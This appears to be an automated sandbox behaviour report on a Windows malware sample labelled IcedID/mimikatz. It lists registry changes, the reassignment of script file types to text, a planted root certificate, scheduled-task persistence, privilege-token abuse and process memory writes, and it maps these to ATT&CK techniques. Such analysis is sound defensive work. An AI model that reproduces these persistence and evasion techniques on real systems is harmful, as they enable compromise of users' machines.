Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2024-09-23_31f6973dd7169b1777e17eabd07151a0_hacktools_icedid_mimikatz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	igycumm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wpcap.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	huzbeq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bucatzbai.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2668	cmd.exe
2492	PING.EXE

NSIS installer 3 IoCs

installer

resource	yara_rule
behavioral1/files/0x0008000000017481-5.dat	nsis_installer_2
behavioral1/files/0x00060000000186c8-15.dat	nsis_installer_1
behavioral1/files/0x00060000000186c8-15.dat	nsis_installer_2

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-100 = "RD Gateway Quarantine Enforcement Client"	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	igycumm.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates	igycumm.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1"	qwipishib.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs	igycumm.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-102 = "Microsoft Corporation"	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	igycumm.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-101 = "Provides RD Gateway enforcement for NAP"	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	igycumm.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	igycumm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	igycumm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings	igycumm.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\02-5d-69-46-0c-98\WpadDecision = "0"	igycumm.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates	igycumm.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-102 = "1.0"	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	igycumm.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	igycumm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	igycumm.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	igycumm.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-2 = "Provides IPsec based enforcement for Network Access Protection"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-103 = "Microsoft Corporation"	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	qwipishib.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates	igycumm.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\02-5d-69-46-0c-98	igycumm.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-101 = "Provides DHCP based enforcement for NAP"	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1"	qwipishib.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\02-5d-69-46-0c-98\WpadDetectedUrl	igycumm.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs	igycumm.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	igycumm.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	igycumm.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-4 = "1.0"	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My	igycumm.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates	igycumm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	igycumm.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs	igycumm.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs	igycumm.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1"	qwipishib.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	igycumm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	qwipishib.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump	qwipishib.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-101 = "Provides Network Access Protection enforcement for EAP authenticated network connections, such as those used with 802.1X and VPN technologies."	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	igycumm.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs	igycumm.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000004000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f00e1000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	igycumm.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{EB024992-DF60-4BD3-9859-3CAA57D210B7}\WpadDecisionTime = 30570c59f10ddb01	igycumm.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{EB024992-DF60-4BD3-9859-3CAA57D210B7}\WpadDecision = "0"	igycumm.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	igycumm.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-103 = "Microsoft Corporation"	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	qwipishib.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1"	qwipishib.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	igycumm.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\02-5d-69-46-0c-98\WpadDecisionTime = 30570c59f10ddb01	igycumm.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-103 = "1.0"	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates	igycumm.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs	igycumm.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	igycumm.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals	qwipishib.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs	igycumm.exe

Modifies registry class 14 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile"	igycumm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\	igycumm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile"	igycumm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\	igycumm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\	igycumm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\	igycumm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile"	igycumm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile"	igycumm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile"	igycumm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\	igycumm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile"	igycumm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\	igycumm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile"	igycumm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\	igycumm.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	igycumm.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	igycumm.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2492	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2528	schtasks.exe
1788	schtasks.exe
2548	schtasks.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 2 IoCs

pid	Process
1900	igycumm.exe
2376	igycumm.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe

Suspicious behavior: LoadsDriver 31 IoCs

pid	Process
476	Process not Found
476	Process not Found
476	Process not Found
476	Process not Found
476	Process not Found
476	Process not Found
476	Process not Found
476	Process not Found
476	Process not Found
476	Process not Found
476	Process not Found
476	Process not Found
476	Process not Found
476	Process not Found
476	Process not Found
476	Process not Found
476	Process not Found
476	Process not Found
476	Process not Found
476	Process not Found
476	Process not Found
476	Process not Found
476	Process not Found
476	Process not Found
476	Process not Found
476	Process not Found
476	Process not Found
476	Process not Found
476	Process not Found
476	Process not Found
476	Process not Found

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
2060	2024-09-23_31f6973dd7169b1777e17eabd07151a0_hacktools_icedid_mimikatz.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	2060	2024-09-23_31f6973dd7169b1777e17eabd07151a0_hacktools_icedid_mimikatz.exe
Token: SeDebugPrivilege	2240	igycumm.exe
Token: SeDebugPrivilege	2452	igycumm.exe
Token: SeDebugPrivilege	2508	vfshost.exe
Token: SeAuditPrivilege	2884	svchost.exe
Token: SeDebugPrivilege	1268	qwipishib.exe
Token: SeShutdownPrivilege	1268	qwipishib.exe
Token: SeLockMemoryPrivilege	2260	hcefiu.exe
Token: SeLockMemoryPrivilege	2260	hcefiu.exe
Token: SeDebugPrivilege	544	qwipishib.exe
Token: SeShutdownPrivilege	544	qwipishib.exe
Token: SeDebugPrivilege	2516	qwipishib.exe
Token: SeShutdownPrivilege	2516	qwipishib.exe
Token: SeDebugPrivilege	2528	qwipishib.exe
Token: SeShutdownPrivilege	2528	qwipishib.exe
Token: SeDebugPrivilege	2748	qwipishib.exe
Token: SeShutdownPrivilege	2748	qwipishib.exe
Token: SeDebugPrivilege	2204	qwipishib.exe
Token: SeShutdownPrivilege	2204	qwipishib.exe
Token: SeDebugPrivilege	800	qwipishib.exe
Token: SeShutdownPrivilege	800	qwipishib.exe
Token: SeDebugPrivilege	348	qwipishib.exe
Token: SeShutdownPrivilege	348	qwipishib.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
2060	2024-09-23_31f6973dd7169b1777e17eabd07151a0_hacktools_icedid_mimikatz.exe
2060	2024-09-23_31f6973dd7169b1777e17eabd07151a0_hacktools_icedid_mimikatz.exe
2240	igycumm.exe
2240	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
920	xohudmc.exe
1656	huzbeq.exe
1900	igycumm.exe
1900	igycumm.exe
2376	igycumm.exe
2376	igycumm.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2060 wrote to memory of 2668	2060	2024-09-23_31f6973dd7169b1777e17eabd07151a0_hacktools_icedid_mimikatz.exe	30
PID 2060 wrote to memory of 2668	2060	2024-09-23_31f6973dd7169b1777e17eabd07151a0_hacktools_icedid_mimikatz.exe	30
PID 2060 wrote to memory of 2668	2060	2024-09-23_31f6973dd7169b1777e17eabd07151a0_hacktools_icedid_mimikatz.exe	30
PID 2060 wrote to memory of 2668	2060	2024-09-23_31f6973dd7169b1777e17eabd07151a0_hacktools_icedid_mimikatz.exe	30
PID 2668 wrote to memory of 2492	2668	cmd.exe	32
PID 2668 wrote to memory of 2492	2668	cmd.exe	32
PID 2668 wrote to memory of 2492	2668	cmd.exe	32
PID 2668 wrote to memory of 2492	2668	cmd.exe	32
PID 2668 wrote to memory of 2240	2668	cmd.exe	33
PID 2668 wrote to memory of 2240	2668	cmd.exe	33
PID 2668 wrote to memory of 2240	2668	cmd.exe	33
PID 2668 wrote to memory of 2240	2668	cmd.exe	33
PID 2452 wrote to memory of 2832	2452	igycumm.exe	35
PID 2452 wrote to memory of 2832	2452	igycumm.exe	35
PID 2452 wrote to memory of 2832	2452	igycumm.exe	35
PID 2452 wrote to memory of 2832	2452	igycumm.exe	35
PID 2832 wrote to memory of 2976	2832	cmd.exe	37
PID 2832 wrote to memory of 2976	2832	cmd.exe	37
PID 2832 wrote to memory of 2976	2832	cmd.exe	37
PID 2832 wrote to memory of 2976	2832	cmd.exe	37
PID 2832 wrote to memory of 2712	2832	cmd.exe	38
PID 2832 wrote to memory of 2712	2832	cmd.exe	38
PID 2832 wrote to memory of 2712	2832	cmd.exe	38
PID 2832 wrote to memory of 2712	2832	cmd.exe	38
PID 2832 wrote to memory of 2860	2832	cmd.exe	39
PID 2832 wrote to memory of 2860	2832	cmd.exe	39
PID 2832 wrote to memory of 2860	2832	cmd.exe	39
PID 2832 wrote to memory of 2860	2832	cmd.exe	39
PID 2832 wrote to memory of 2864	2832	cmd.exe	40
PID 2832 wrote to memory of 2864	2832	cmd.exe	40
PID 2832 wrote to memory of 2864	2832	cmd.exe	40
PID 2832 wrote to memory of 2864	2832	cmd.exe	40
PID 2832 wrote to memory of 2448	2832	cmd.exe	41
PID 2832 wrote to memory of 2448	2832	cmd.exe	41
PID 2832 wrote to memory of 2448	2832	cmd.exe	41
PID 2832 wrote to memory of 2448	2832	cmd.exe	41
PID 2832 wrote to memory of 1812	2832	cmd.exe	42
PID 2832 wrote to memory of 1812	2832	cmd.exe	42
PID 2832 wrote to memory of 1812	2832	cmd.exe	42
PID 2832 wrote to memory of 1812	2832	cmd.exe	42
PID 2452 wrote to memory of 2704	2452	igycumm.exe	44
PID 2452 wrote to memory of 2704	2452	igycumm.exe	44
PID 2452 wrote to memory of 2704	2452	igycumm.exe	44
PID 2452 wrote to memory of 2704	2452	igycumm.exe	44
PID 2452 wrote to memory of 2180	2452	igycumm.exe	46
PID 2452 wrote to memory of 2180	2452	igycumm.exe	46
PID 2452 wrote to memory of 2180	2452	igycumm.exe	46
PID 2452 wrote to memory of 2180	2452	igycumm.exe	46
PID 2452 wrote to memory of 1284	2452	igycumm.exe	48
PID 2452 wrote to memory of 1284	2452	igycumm.exe	48
PID 2452 wrote to memory of 1284	2452	igycumm.exe	48
PID 2452 wrote to memory of 1284	2452	igycumm.exe	48
PID 2452 wrote to memory of 284	2452	igycumm.exe	50
PID 2452 wrote to memory of 284	2452	igycumm.exe	50
PID 2452 wrote to memory of 284	2452	igycumm.exe	50
PID 2452 wrote to memory of 284	2452	igycumm.exe	50
PID 284 wrote to memory of 1800	284	cmd.exe	52
PID 284 wrote to memory of 1800	284	cmd.exe	52
PID 284 wrote to memory of 1800	284	cmd.exe	52
PID 284 wrote to memory of 1800	284	cmd.exe	52
PID 284 wrote to memory of 1800	284	cmd.exe	52
PID 284 wrote to memory of 1800	284	cmd.exe	52
PID 284 wrote to memory of 1800	284	cmd.exe	52
PID 1800 wrote to memory of 1148	1800	wpcap.exe	53

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:324
- C:\Windows\TEMP\bestlepbb\hcefiu.exe
  "C:\Windows\TEMP\bestlepbb\hcefiu.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2260

